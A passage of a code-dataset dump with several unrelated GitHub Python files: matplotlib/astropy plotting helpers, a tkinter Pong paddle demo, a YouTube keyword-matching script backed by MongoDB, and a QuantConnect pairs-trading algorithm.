n2, m)\r\n        df.to_csv(f'Privacy-fairness-efficiency-{n1}-{n2}-{m}.csv',index=False)\r\n    \r\n    \r\n","repo_name":"farhadmohsin/LearningToDesign","sub_path":"autoFairVoting/fairness_SW_privacy.py","file_name":"fairness_SW_privacy.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"31805393855","text":"from warnings import warn\n\nimport numpy as np\nfrom astropy.visualization import (ImageNormalize, LinearStretch,\n                                   ZScaleInterval, simple_norm)\nfrom matplotlib.ticker import (FormatStrFormatter, LogFormatterSciNotation,\n                               LogLocator, MultipleLocator, NullFormatter)\n\n__all__ = [\"znorm\", \"zimshow\", \"norm_imshow\", \"colorbaring\",\n           \"mplticker\", \"linticker\", \"logticker\", \"logxticker\", \"logyticker\",\n           \"linearticker\"]\n\n\ndef znorm(image, stretch=LinearStretch(), **kwargs):\n    return ImageNormalize(image,\n                          interval=ZScaleInterval(**kwargs),\n                          stretch=stretch)\n\n\ndef zimshow(ax, image, stretch=LinearStretch(), cmap=None, **kwargs):\n    im = ax.imshow(image,\n                   norm=znorm(image, stretch=stretch, **kwargs),\n                   origin='lower',\n                   cmap=cmap)\n    return im\n\n\ndef norm_imshow(ax, data, stretch='linear', power=1.0, asinh_a=0.1,\n                min_cut=None, max_cut=None, min_percent=None, max_percent=None,\n                percent=None, clip=True, log_a=1000, **kwargs):\n    \"\"\" Do normalization and do imshow\n    \"\"\"\n    norm = simple_norm(data, stretch=stretch, power=power, asinh_a=asinh_a,\n                       min_cut=min_cut, max_cut=max_cut,\n                       min_percent=min_percent, max_percent=max_percent,\n                       percent=percent, clip=clip, log_a=log_a)\n    im = ax.imshow(data, norm=norm, origin='lower', **kwargs)\n    return im\n\n\ndef colorbaring(fig, ax, im, fmt=\"%.0f\", orientation='horizontal',\n                formatter=FormatStrFormatter, **kwargs):\n    cb = fig.colorbar(im, ax=ax, orientation=orientation,\n                      format=FormatStrFormatter(fmt), **kwargs)\n\n    return cb\n\n\ndef linearticker(ax_list, xmajlocs, xminlocs, ymajlocs, yminlocs,\n                 xmajfmts, ymajfmts,\n                 xmajlocators=MultipleLocator,\n                 xminlocators=MultipleLocator,\n                 ymajlocators=MultipleLocator,\n                 yminlocators=MultipleLocator,\n                 xmajformatters=FormatStrFormatter,\n                 ymajformatters=FormatStrFormatter,\n                 majgridkw=dict(ls='-', alpha=0.8),\n                 mingridkw=dict(ls=':', alpha=0.5)):\n    warn(\"Use mplticker instead of linearticker.\")\n    _ax_list = np.atleast_1d(ax_list)\n    n_axis = len(_ax_list)\n    xmajloc = np.atleast_1d(xmajlocs)\n    xminloc = np.atleast_1d(xminlocs)\n    ymajloc = np.atleast_1d(ymajlocs)\n    yminloc = np.atleast_1d(yminlocs)\n    xmajfmt = np.atleast_1d(xmajfmts)\n    ymajfmt = np.atleast_1d(ymajfmts)\n    if xmajloc.shape[0] != n_axis:\n        xmajloc = np.repeat(xmajloc, n_axis)\n    if xminloc.shape[0] != n_axis:\n        xminloc = np.repeat(xminloc, n_axis)\n    if ymajloc.shape[0] != n_axis:\n        ymajloc = np.repeat(ymajloc, n_axis)\n    if yminloc.shape[0] != n_axis:\n        yminloc = np.repeat(yminloc, n_axis)\n    if xmajfmt.shape[0] != n_axis:\n        xmajfmt = np.repeat(xmajfmt, n_axis)\n    if ymajfmt.shape[0] != n_axis:\n        ymajfmt = np.repeat(ymajfmt, n_axis)\n\n    if not isinstance(xmajlocators, (tuple, list, np.ndarray)):\n        xmajlocators = [xmajlocators] * n_axis\n    if not isinstance(xminlocators, (tuple, list, np.ndarray)):\n        xminlocators = [xminlocators] * n_axis\n    if not isinstance(ymajlocators, (tuple, list, np.ndarray)):\n        ymajlocators = [ymajlocators] * n_axis\n    if not isinstance(yminlocators, (tuple, list, np.ndarray)):\n        yminlocators = [yminlocators] * n_axis\n    if not isinstance(xmajformatters, (tuple, list, np.ndarray)):\n        xmajformatters = [xmajformatters] * n_axis\n    if not isinstance(ymajformatters, (tuple, list, np.ndarray)):\n        ymajformatters = [ymajformatters] * n_axis\n\n    for i, aa in enumerate(_ax_list):\n        aa.xaxis.set_major_locator(xmajlocators[i](xmajloc[i]))\n        aa.yaxis.set_major_locator(ymajlocators[i](ymajloc[i]))\n        aa.xaxis.set_minor_locator(xminlocators[i](xminloc[i]))\n        aa.yaxis.set_minor_locator(yminlocators[i](yminloc[i]))\n        aa.xaxis.set_major_formatter(xmajformatters[i](xmajfmt[i]))\n        aa.yaxis.set_major_formatter(ymajformatters[i](ymajfmt[i]))\n        aa.grid(which='major', **majgridkw)\n        aa.grid(which='minor', **mingridkw)\n\n\ndef mplticker(ax_list,\n              xmajlocators=None, xminlocators=None,\n              ymajlocators=None, yminlocators=None,\n              xmajformatters=None, xminformatters=None,\n              ymajformatters=None, yminformatters=None,\n              xmajgrids=True, xmingrids=True,\n              ymajgrids=True, ymingrids=True,\n              xmajlockws=None, xminlockws=None,\n              ymajlockws=None, yminlockws=None,\n              xmajfmtkws=None, xminfmtkws=None,\n              ymajfmtkws=None, yminfmtkws=None,\n              xmajgridkws=dict(ls='-', alpha=0.5),\n              xmingridkws=dict(ls=':', alpha=0.5),\n              ymajgridkws=dict(ls='-', alpha=0.5),\n              ymingridkws=dict(ls=':', alpha=0.5)):\n    ''' Set tickers of Axes objects.\n    Note\n    ----\n    Notation of arguments is <axis><which><name>. <axis> can be ``x`` or\n    ``y``, and <which> can be ``major`` or ``minor``.\n    For example, ``xmajlocators`` is the Locator object for x-axis\n    major.  ``kw`` means the keyword arguments that will be passed to\n    locator, formatter, or grid.\n    If a single object is given for locators, formatters, grid, or kw\n    arguments, it will basically be copied by the number of Axes objects\n    and applied identically through all the Axes.\n\n    Parameters\n    ----------\n    ax_list : Axes or 1-d array-like of such\n        The Axes object(s).\n\n    locators : Locator, None, list of such, optional\n        The Locators used for the ticker. Must be a single Locator\n        object or a list of such with the identical length of\n        ``ax_list``.\n        If ``None``, the default locator is not touched.\n\n    formatters : Formatter, None, False, array-like of such, optional\n        The Formatters used for the ticker. Must be a single Formatter\n        object or an array-like of such with the identical length of\n        ``ax_list``.\n        If ``None``, the default formatter is not touched.\n        If ``False``, the labels are not shown (by using the trick\n        ``FormatStrFormatter(fmt=\"\")``).\n\n    grids : bool, array-like of such, optinoal.\n        Whether to draw the grid lines. Must be a single bool object or\n        an array-like of such with the identical length of ``ax_list``.\n\n    lockws : dict, array-like of such, array-like, optional\n        The keyword arguments that will be passed to the ``locators``.\n        If it's an array-like but elements are not dict, it is\n        interpreted as ``*args`` passed to locators.\n        If it is (or contains) dict, it must be a single dict object or\n        an array-like object of such with the identical length of\n        ``ax_list``.\n        Set as empty dict (``{}``) if you don't want to change the\n        default arguments.\n\n    fmtkws : dict, str, list of such, optional\n        The keyword arguments that will be passed to the ``formatters``.\n        If it's an array-like but elements are not dict, it is\n        interpreted as ``*args`` passed to formatters.\n        If it is (or contains) dict, it must be a single dict object or\n        an array-like object of such with the identical length of\n        ``ax_list``.\n        Set as empty dict (``{}``) if you don't want to change the\n        default arguments.\n\n    gridkw : dict, list of such, optional\n        The keyword arguments that will be passed to the grid. Must be a\n        single dict object or a list of such with the identical length\n        of ``ax_list``.\n        Set as empty dict (``{}``) if you don't want to change the\n        default arguments.\n\n    '''\n    def _check(obj, name, n):\n        arr = np.atleast_1d(obj)\n        n_arr = arr.shape[0]\n        if n_arr not in [1, n]:\n            raise ValueError(f\"{name} must be a single object or a 1-d array\"\n                             + f\" with the same length as ax_list ({n}).\")\n        else:\n            newarr = arr.tolist() * (n//n_arr)\n\n        return newarr\n\n    def _setter(setter, Setter, kw):\n        # don't do anything if obj (Locator or Formatter) is None:\n        if (Setter is not None) and (kw is not None):\n\n            # matplotlib is so poor in log plotting....\n            if (Setter == LogLocator) and (\"numticks\" not in kw):\n                kw[\"numticks\"] = 50\n\n            if isinstance(kw, dict):\n                setter(Setter(**kw))\n            else:  # interpret as ``*args``\n                setter(Setter(*(np.atleast_1d(kw).tolist())))\n            # except:\n            #     raise ValueError(\"Error occured for Setter={} with input {}\"\n            #                      .format(Setter, kw))\n\n    _ax_list = np.atleast_1d(ax_list)\n    if _ax_list.ndim > 1:\n        raise ValueError(\"ax_list must be at most 1-d.\")\n    n_axis = _ax_list.shape[0]\n\n    _xmajlocators = _check(xmajlocators, \"xmajlocators\", n_axis)\n    _xminlocators = _check(xminlocators, \"xminlocators\", n_axis)\n    _ymajlocators = _check(ymajlocators, \"ymajlocators\", n_axis)\n    _yminlocators = _check(yminlocators, \"yminlocators\", n_axis)\n\n    _xmajformatters = _check(xmajformatters, \"xmajformatters \", n_axis)\n    _xminformatters = _check(xminformatters, \"xminformatters \", n_axis)\n    _ymajformatters = _check(ymajformatters, \"ymajformatters\", n_axis)\n    _yminformatters = _check(yminformatters, \"yminformatters\", n_axis)\n\n    _xmajlockws = _check(xmajlockws, \"xmajlockws\", n_axis)\n    _xminlockws = _check(xminlockws, \"xminlockws\", n_axis)\n    _ymajlockws = _check(ymajlockws, \"ymajlockws\", n_axis)\n    _yminlockws = _check(yminlockws, \"yminlockws\", n_axis)\n\n    _xmajfmtkws = _check(xmajfmtkws, \"xmajfmtkws\", n_axis)\n    _xminfmtkws = _check(xminfmtkws, \"xminfmtkws\", n_axis)\n    _ymajfmtkws = _check(ymajfmtkws, \"ymajfmtkws\", n_axis)\n    _yminfmtkws = _check(yminfmtkws, \"yminfmtkws\", n_axis)\n\n    _xmajgrids = _check(xmajgrids, \"xmajgrids\", n_axis)\n    _xmingrids = _check(xmingrids, \"xmingrids\", n_axis)\n    _ymajgrids = _check(ymajgrids, \"ymajgrids\", n_axis)\n    _ymingrids = _check(ymingrids, \"ymingrids\", n_axis)\n\n    _xmajgridkws = _check(xmajgridkws, \"xmajgridkws\", n_axis)\n    _xmingridkws = _check(xmingridkws, \"xmingridkws\", n_axis)\n    _ymajgridkws = _check(ymajgridkws, \"ymajgridkws\", n_axis)\n    _ymingridkws = _check(ymingridkws, \"ymingridkws\", n_axis)\n\n    for i, aa in enumerate(_ax_list):\n        _xmajlocator = _xmajlocators[i]\n        _xminlocator = _xminlocators[i]\n        _ymajlocator = _ymajlocators[i]\n        _yminlocator = _yminlocators[i]\n\n        _xmajformatter = _xmajformatters[i]\n        _xminformatter = _xminformatters[i]\n        _ymajformatter = _ymajformatters[i]\n        _yminformatter = _yminformatters[i]\n\n        _xmajgrid = _xmajgrids[i]\n        _xmingrid = _xmingrids[i]\n        _ymajgrid = _ymajgrids[i]\n        _ymingrid = _ymingrids[i]\n\n        _xmajlockw = _xmajlockws[i]\n        _xminlockw = _xminlockws[i]\n        _ymajlockw = _ymajlockws[i]\n        _yminlockw = _yminlockws[i]\n\n        _xmajfmtkw = _xmajfmtkws[i]\n        _xminfmtkw = _xminfmtkws[i]\n        _ymajfmtkw = _ymajfmtkws[i]\n        _yminfmtkw = _yminfmtkws[i]\n\n        _xmajgridkw = _xmajgridkws[i]\n        _xmingridkw = _xmingridkws[i]\n        _ymajgridkw = _ymajgridkws[i]\n        _ymingridkw = _ymingridkws[i]\n\n        _setter(aa.xaxis.set_major_locator, _xmajlocator, _xmajlockw)\n        _setter(aa.xaxis.set_minor_locator, _xminlocator, _xminlockw)\n        _setter(aa.yaxis.set_major_locator, _ymajlocator, _ymajlockw)\n        _setter(aa.yaxis.set_minor_locator, _yminlocator, _yminlockw)\n        _setter(aa.xaxis.set_major_formatter, _xmajformatter, _xmajfmtkw)\n        _setter(aa.xaxis.set_minor_formatter, _xminformatter, _xminfmtkw)\n        _setter(aa.yaxis.set_major_formatter, _ymajformatter, _ymajfmtkw)\n        _setter(aa.yaxis.set_minor_formatter, _yminformatter, _yminfmtkw)\n\n        # Strangely, using ``b=_xmingrid`` does not work if it is\n        # False... I had to do it manually like this... OMG matplotlib..\n        if _xmajgrid:\n            aa.grid(axis='x', which='major', **_xmajgridkw)\n        if _xmingrid:\n            aa.grid(axis='x', which='minor', **_xmingridkw)\n        if _ymajgrid:\n            aa.grid(axis='y', which='major', **_ymajgridkw)\n        if _ymingrid:\n            aa.grid(axis='y', which='minor', **_ymingridkw)\n\n\ndef linticker(ax_list,\n              xmajlocators=MultipleLocator, xminlocators=MultipleLocator,\n              ymajlocators=MultipleLocator, yminlocators=MultipleLocator,\n              xmajformatters=FormatStrFormatter,\n              xminformatters=NullFormatter,\n              ymajformatters=FormatStrFormatter,\n              yminformatters=NullFormatter,\n              xmajgrids=True, xmingrids=True,\n              ymajgrids=True, ymingrids=True,\n              xmajlockws=None, xminlockws=None,\n              ymajlockws=None, yminlockws=None,\n              xmajfmtkws=None, xminfmtkws={},\n              ymajfmtkws=None, yminfmtkws={},\n              xmajgridkws=dict(ls='-', alpha=0.5),\n              xmingridkws=dict(ls=':', alpha=0.5),\n              ymajgridkws=dict(ls='-', alpha=0.5),\n              ymingridkws=dict(ls=':', alpha=0.5)):\n    mplticker(**locals())\n\n\ndef logticker(ax_list,\n              xmajlocators=LogLocator, xminlocators=LogLocator,\n              ymajlocators=LogLocator, yminlocators=LogLocator,\n              xmajformatters=LogFormatterSciNotation,\n              xminformatters=NullFormatter,\n              ymajformatters=LogFormatterSciNotation,\n              yminformatters=NullFormatter,\n              xmajgrids=True, xmingrids=True,\n              ymajgrids=True, ymingrids=True,\n              xmajlockws=None, xminlockws=None,\n              ymajlockws=None, yminlockws=None,\n              xmajfmtkws=None, xminfmtkws={},\n              ymajfmtkws=None, yminfmtkws={},\n              xmajgridkws=dict(ls='-', alpha=0.5),\n              xmingridkws=dict(ls=':', alpha=0.5),\n              ymajgridkws=dict(ls='-', alpha=0.5),\n              ymingridkws=dict(ls=':', alpha=0.5)):\n    mplticker(**locals())\n\n\ndef logxticker(ax_list,\n               xmajlocators=LogLocator, xminlocators=LogLocator,\n               ymajlocators=MultipleLocator, yminlocators=MultipleLocator,\n               xmajformatters=LogFormatterSciNotation,\n               xminformatters=NullFormatter,\n               ymajformatters=FormatStrFormatter,\n               yminformatters=NullFormatter,\n               xmajgrids=True, xmingrids=True,\n               ymajgrids=True, ymingrids=True,\n               xmajlockws=None, xminlockws=None,\n               ymajlockws=None, yminlockws=None,\n               xmajfmtkws=None, xminfmtkws={},\n               ymajfmtkws=None, yminfmtkws={},\n               xmajgridkws=dict(ls='-', alpha=0.5),\n               xmingridkws=dict(ls=':', alpha=0.5),\n               ymajgridkws=dict(ls='-', alpha=0.5),\n               ymingridkws=dict(ls=':', alpha=0.5)):\n    mplticker(**locals())\n\n\ndef logyticker(ax_list,\n               xmajlocators=MultipleLocator, xminlocators=MultipleLocator,\n               ymajlocators=LogLocator, yminlocators=LogLocator,\n               xmajformatters=FormatStrFormatter,\n               xminformatters=NullFormatter,\n               ymajformatters=LogFormatterSciNotation,\n               yminformatters=NullFormatter,\n               xmajgrids=True, xmingrids=True,\n               ymajgrids=True, ymingrids=True,\n               xmajlockws=None, xminlockws=None,\n               ymajlockws=None, yminlockws=None,\n               xmajfmtkws=None, xminfmtkws={},\n               ymajfmtkws=None, yminfmtkws={},\n               xmajgridkws=dict(ls='-', alpha=0.5),\n               xmingridkws=dict(ls=':', alpha=0.5),\n               ymajgridkws=dict(ls='-', alpha=0.5),\n               ymingridkws=dict(ls=':', alpha=0.5)):\n    mplticker(**locals())\n","repo_name":"ysBach/IshiguroM_etal_155140_2005UD","sub_path":"photometry/ysfitsutilpy/ysfitsutilpy/visutil.py","file_name":"visutil.py","file_ext":"py","file_size_in_byte":16022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"39265377124","text":"import tkinter as tk\n\nscreenW = 500\nscreenH = 500\nplayer1Padx0, player1Pady0 ,player1Padx1 , player1Pady1 = 20, 0 ,30 ,60\nplayer2Padx0, player2Pady0 ,player2Padx1 , player2Pady1 = 470, 0 ,480 ,60\n\nclass padCoords():\n    x0=0\n    x1=0\n    y0=0\n    y1=0\n    objId=0\n    curx0=0\n    cury0=0\n    curx1=0\n    cury1=0\n\nplayer1 = padCoords();\nplayer1.x0, player1.x1, player1.y0, player1.y1 = 20, 30, 0, 60\nplayer2 = padCoords();\nplayer2.x0, player2.x1, player2.y0, player2.y1 = 470, 480, 0, 60\n\nPlayerDefine = \"R\"\n\ndef clickedStart():\n    global PlayerDefine\n    print(\"Switch player\")\n    print(PlayerDefine)\n    \n    if(PlayerDefine == \"R\"):\n        PlayerDefine = \"L\"\n    else:\n        PlayerDefine = \"R\"\n\ndef movePad(event):\n    global PlayerDefine\n    if(PlayerDefine == \"R\"):\n        y=event.y - player1.y1/2\n\n        #print(\"Rechts\")\n\n        if(y < screenH - player1.y1 and y > 0):\n            canvas.coords(player1.objId, player1.x0,player1.y0 + y,player1.x1,player1.y1 + y)\n        elif (y > screenH - player1.y1):\n            canvas.coords(player1.objId, player1.x0,player1.y0 + (screenH - player1.y1),player1.x1,player1.y1 + (screenH - player1.y1))\n        elif(y < 0):\n            canvas.coords(player1.objId, player1.x0,player1.y0,player1.x1,player1.y1)\n\n    else:\n        y=event.y - player1.y1/2\n\n        #print(\"Links\")\n\n        if(y < screenH - player2.y1 and y > 0):\n            canvas.coords(player2.objId, player2.x0,player2.y0 + y,player2.x1,player2.y1 + y)\n        elif (y > screenH - player2.y1):\n            canvas.coords(player2.objId, player2.x0,player2.y0 + (screenH - player2.y1),player2.x1,player2.y1 + (screenH - player2.y1))\n        elif(y < 0):\n            canvas.coords(player2.objId, player2.x0,player2.y0,player2.x1,player2.y1)\n\n    print(player1.cury0)\n    \n    [player1.curx0, player1.cury0, player1.curx1, player1.cury1] = canvas.coords(player1.objId)\n    [player2.curx0, player2.cury0, player2.curx1, player2.cury1] = canvas.coords(player2.objId)\n\n\n\ndef mouseOverEvent(event):\n    print(event.y)\n\nroot = tk.Tk()\nroot.geometry('500x530')    #instellen van window size\nroot.resizable(False, False)    #instellen dat width en height niet kan veranderd worden\nroot.config(bg='goldenrod')\ncanvas = tk.Canvas(root, width=screenW, height=screenH,bg=\"sky blue\")\n#Een vierkant maken\nplayer1.objId = canvas.create_rectangle(player1.x0,player1.y0,player1.x1,player1.y1,fill=\"grey18\")\nplayer2.objId = canvas.create_rectangle(player2.x0,player2.y0,player2.x1,player1.y1,fill=\"grey18\")\ncanvas.pack()\n\nstartButton = tk.Button(root, text=\"Switch player\",command=clickedStart)    #zal Hello printen in de button en bij drukken knop -> naar event methode\nstartButton.pack(side=\"bottom\")\n\ncanvas.bind(\"<Motion>\", movePad)\n\n# set window title\nroot.wm_title(\"Pong Game\")\n\nprint(\"Startup Pong\")\n\n# show window\nroot.mainloop()","repo_name":"ThomasKramp/RaspBerryPi_Pong","sub_path":"Testjes/Paddel.py","file_name":"Paddel.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40094946146","text":"import sys\n\nsys.path.append('./../../')\nimport threading\nfrom db.mongodb import connectMongo\nimport logging\n\nmongodb = connectMongo(True)\ncollection = mongodb[\"resources\"]\n# 黑白名单\nblackWhiteCollection = mongodb[\"blackWhite\"]\n\n# 黑名单列表\nblackList = list(blackWhiteCollection.distinct(\"word\", {\"isBlack\": True, \"platId\": 1, \"part\": \"GB\"}))\nclothesblackList = list(blackWhiteCollection.distinct(\"word\", {\"isBlack\": True, \"platId\": 1, \"part\": \"clothes\"}))\n# 白名单列表\nwhiteList = list(blackWhiteCollection.distinct(\"word\", {\"isWhite\": True, \"platId\": 1, \"part\": \"GB\"}))\nclotheswhiteList = list(blackWhiteCollection.distinct(\"word\", {\"isWhite\": True, \"platId\": 1, \"part\": \"clothes\"}))\nzafulWhiltList = list(\n    blackWhiteCollection.distinct(\"word\", {\"isWhite\": True, \"platId\": 1, \"part\": \"clothes\", \"station\": \"Zaful\"}))\n\nGBwhiteList2 = ['初学者', '区别', '包装', '实惠', '对比', '预算', '顶级', '钥匙', '超值', '赠品', '评价', '评测', '评论', '搭配', '最好', '最火', '比价',\n                '自拍', '低价', '便宜', '指南', '拆除', 'Best', 'top', '风格', '难以置信', '购买', '运动', '不同', '想法', '产品', '优点', '体会',\n                '体验', '值得', '使用', '区别', '参数', '博客', '观点', '最好', '最佳', '发布', '全部', '品味', '圈子', '奇特', '对比', '尝试', '差异',\n                '建议', '想法', '感受', '感想', '指南', '排名', '排行', '搭配', '推测', '方式', '方法', '最好', '最具', '材料', '比较', '测试', '汇总',\n                '火热', '火爆', '点评', '爆红', '点评', '玩家', '独特', '礼品', '礼物', '缺点', '见解', '见地', '观点', '规格', '评论', '评价', '购买',\n                '超值', '集合', '顶部', '预估', '预想', '预料', '预测', '预言', 'Best', '多好', '惊奇', '惊喜', '难以置信', '惊人', '怪异', '样式',\n                '谈论', '细数', '发现', '论点', '评分', '评比', '见解', '优点']\n\n\nclass whiteReview(threading.Thread):\n    def __init__(self, part):\n        threading.Thread.__init__(self)\n        self.part = part\n\n    def run(self):\n        resultList = list(collection.find({\"part\": self.part}))\n        if not resultList:\n            logging.error(\"没有数据\")\n            time.sleep(24 * 3600 * 7)\n        for result in resultList:\n            try:\n                url = result[\"url\"]\n                videoTittle = result[\"videotitleUn\"]\n                videoTittleChinese = result[\"videoTittle\"]\n                descriptionChinese = result[\"description\"]\n                description = result.get(\"descriptionUn\")\n                if not description:\n                    description = \"\"\n                part = result[\"part\"]\n                VideoTitleCount = 0\n                whiteWord = \"\"\n                if part == \"GB\":\n                    whiteListall = whiteList\n                else:\n                    whiteListall = clotheswhiteList\n                    station = result.get(\"station\")\n                    if station == \"Zaful\":\n                        whiteListall = zafulWhiltList\n                for word in whiteListall:\n                    if word.lower() in videoTittle.lower() or word.lower() in videoTittleChinese.lower():\n                        VideoTitleCount += 1\n                        # logging.info(word)\n                        word_new = word + \" \"\n                        whiteWord += word_new\n                whiteWord = whiteWord.strip()\n\n                VideoTitleCount2 = 0\n                whiteWord2 = \"\"\n                if part == \"GB\":\n                    for word in GBwhiteList2:\n                        if word.lower() in videoTittle.lower() or word.lower() in videoTittleChinese.lower():\n                            VideoTitleCount2 += 1\n                            # logging.info(word)\n                            word_new = word + \" \"\n                            whiteWord2 += word_new\n                    whiteWord2 = whiteWord2.strip()\n                else:\n                    pass\n                blackWord = \"\"\n                blackWordCount = 0\n                if part == \"GB\":\n                    blackListall = blackList\n                else:\n                    blackListall = clothesblackList\n                for word in blackListall:\n                    if word in description or word in descriptionChinese:\n                        blackWord += word + \"\"\n                        blackWordCount += 1\n                blackWord = blackWord.strip()\n                try:\n                    collection.update({\"url\": url, \"part\": part},\n                                      {\"$set\": {\"whiteWord\": whiteWord,\n                                                \"VideoTitleCount\": VideoTitleCount,\n                                                \"blackWord\": blackWord,\n                                                \"blackWordCount\": blackWordCount,\n                                                \"whiteWord2\": whiteWord2,\n                                                \"VideoTitleCount2\": VideoTitleCount2\n                                                }}, upsert=True, multi=True)\n                    print(\"url:{},现在和黑名单:{},现在的白名单:{}\".format(url, blackWord, whiteWord))\n                except Exception as e:\n                    pass\n            except Exception as e:\n                logging.error(e)\n\n\nif __name__ == '__main__':\n    youtubeObj = whiteReview(part=\"GB\")\n    youtubeObj.start()\n","repo_name":"sheng2333/new_resources","sub_path":"tools/Rematch/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":5535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2557446062","text":"# https://quantpedia.com/Screener/Details/12\n\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\nfrom math import floor\nfrom datetime import timedelta\nfrom collections import deque\nimport itertools as it\nfrom decimal import Decimal\n\nimport statsmodels.tsa.stattools as ts\n\nclass PairsTradingAlgorithm(QCAlgorithm):\n    \n    def Initialize(self):\n        \n        # start/end dates can be set with these functions\n        self.SetStartDate(2013,3,2)\n        self.SetEndDate(2021,3,18)\n\n        self.SetCash(100000)\n       \n       # a listo f pairs we have determined are cointegrated\n        cointegrated_pairs = [\n            ('BKR','OKE'),\n            ('CVX','XOM'),\n            ('CVX','PXD'),\n            ('COP','FANG'),\n            ('COP','EOG'),\n            ('COP','HAL'),\n            ('COP','PXD'),\n            ('FANG','XOM'),\n            ('FANG','HAL'),\n            ('FANG','PXD'),\n            ('EOG','XOM'),\n            ('EOG','HAL'),\n            ('EOG','HES'),\n            ('EOG','NOV'),\n            ('EOG','OXY'),\n            ('EOG','OKE'),\n            ('EOG','PSX'),\n            ('EOG','SLB'),\n            ('XOM','PXD'),\n            ('HAL','PXD'),\n            ('HFC','VLO'),\n            ('MPC','PSX'),\n            ('MPC','VLO'),\n            ('NOV','OKE'),\n            ('NOV','SLB'),\n            ('OXY','PXD'),\n            ('PXD','VLO'),\n        ]\n        \n        # tickers includes all elements in cointegrated pairs but unique\n        tickers = set()\n        for i in cointegrated_pairs:\n            for j in i:\n                tickers.add(j)\n            \n        tickers = list(tickers)\n        \n        # threshold standard deviations to do a trade\n        self.threshold = 2\n\n        # all needed past equities\n        self.symbols = []\n        for i in tickers:\n            self.symbols.append(self.AddEquity(i, Resolution.Daily).Symbol)\n        \n        self.formation_period = 252     # Window of history to consider fo calculations\n                                        # i.e. moving average\n\n        # map: stock --> history price\n        self.history_price = {}\n        for symbol in self.symbols: # add all equities to the stock object\n            hist = self.History([symbol], self.formation_period+1, Resolution.Daily)\n\n            # don't trade stocks that don't exist?\n            #       !!!\n            if hist.empty: \n                self.symbols.remove(symbol)\n\n            else:\n                self.history_price[str(symbol)] = deque(maxlen=self.formation_period)\n                for tuple in hist.loc[str(symbol)].itertuples():\n                    self.history_price[str(symbol)].append(float(tuple.close))\n\n                if len(self.history_price[str(symbol)]) < self.formation_period:\n                    self.symbols.remove(symbol)\n                    self.history_price.pop(str(symbol))\n\n        # all combinations of symbols\n        self.symbol_pairs = list(it.combinations(self.symbols, 2))\n\n\n        self.Schedule.On(self.DateRules.MonthStart(\"BKR\"), self.TimeRules.AfterMarketOpen(\"BKR\"), self.Rebalance)\n        self.count = 0\n        self.sorted_pairs = None\n        self.coint_pairs  = self.symbol_pairs\n        \n        \n    def OnData(self, data):\n        # Update the price series everyday\n        for symbol in self.symbols:\n            if data.Bars.ContainsKey(symbol) and str(symbol) in self.history_price:\n                self.history_price[str(symbol)].append(float(data[symbol].Close)) \n        if self.sorted_pairs is None: return\n        \n        # look for trades between all pairs\n        for i in self.sorted_pairs:\n\n            # calculate the spread of two price series\n            spread = np.array(self.history_price[str(i[0])]) - np.array(self.history_price[str(i[1])])\n            mean = np.mean(spread)\n            std = np.std(spread)\n            \n            # calculate the ratios to buy and sell in\n            ratio = self.Portfolio[i[0]].Price / self.Portfolio[i[1]].Price\n\n            # long-short position is opened when pair prices have diverged by two standard deviations\n            if spread[-1] > mean + self.threshold * std:\n                if not self.Portfolio[i[0]].Invested and not self.Portfolio[i[1]].Invested:\n                    quantity = int(self.CalculateOrderQuantity(i[0], 0.2))\n                    self.Sell(i[0], quantity) \n                    self.Buy(i[1],  floor(ratio*quantity))                \n            \n            elif spread[-1] < mean - self.threshold * std: \n                quantity = int(self.CalculateOrderQuantity(i[0], 0.2))\n                if not self.Portfolio[i[0]].Invested and not self.Portfolio[i[1]].Invested:\n                    self.Sell(i[1], quantity) \n                    self.Buy(i[0], floor(ratio*quantity))  \n                    \n            # the position is closed when prices revert back -- all assets are liquidated\n            elif self.Portfolio[i[0]].Invested and self.Portfolio[i[1]].Invested and abs(spread[-1]) < abs(mean - self.threshold * std) / 2:\n                    self.Liquidate(i[0]) \n                    self.Liquidate(i[1])\n\n    def Rebalance(self):\n\n        # schedule the event to run every 3 months to select pairs with the smallest historical distance\n        if self.count % 3 == 0:\n            distances = {}\n            \n            for i in self.coint_pairs:\n\n                # if the pair is valid and the API can provide the data for each equity do so\n                # otherwise skip the pair\n                try:\n                    distances[i] = Pair(i[0], i[1], self.history_price[str(i[0])],  self.history_price[str(i[1])]).distance()\n                    self.sorted_pairs = sorted(distances, key = lambda x: distances[x])[:4]\n                except:\n                    continue\n            \n            # list of all stocks being traded: contains duplicates but this is trivial\n            trading_pairs = [pair[0] for pair in self.sorted_pairs] + [pair[1] for pair in self.sorted_pairs]\n                 \n            # if a stock previously being traded is no longer being traded liquidate it\n            for stock in self.Portfolio.keys():\n                if stock not in trading_pairs:\n                    self.Liquidate(stock)\n        \n        self.count += 1\n      \n\n# 2 symbols and their corresponding prices \nclass Pair:\n    def __init__(self, symbol_a, symbol_b, price_a, price_b):\n        self.symbol_a = symbol_a\n        self.symbol_b = symbol_b\n        self.price_a = price_a\n        self.price_b = price_b\n    \n    def distance(self):\n        # calculate the sum of squared deviations between two normalized price series\n        norm_a = np.array(self.price_a)/self.price_a[0]\n        norm_b = np.array(self.price_b)/self.price_b[0]\n        return sum((norm_a - norm_b)**2)","repo_name":"VeckoTheGecko/QFin-Pairs-trading","sub_path":"botv2.py","file_name":"botv2.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
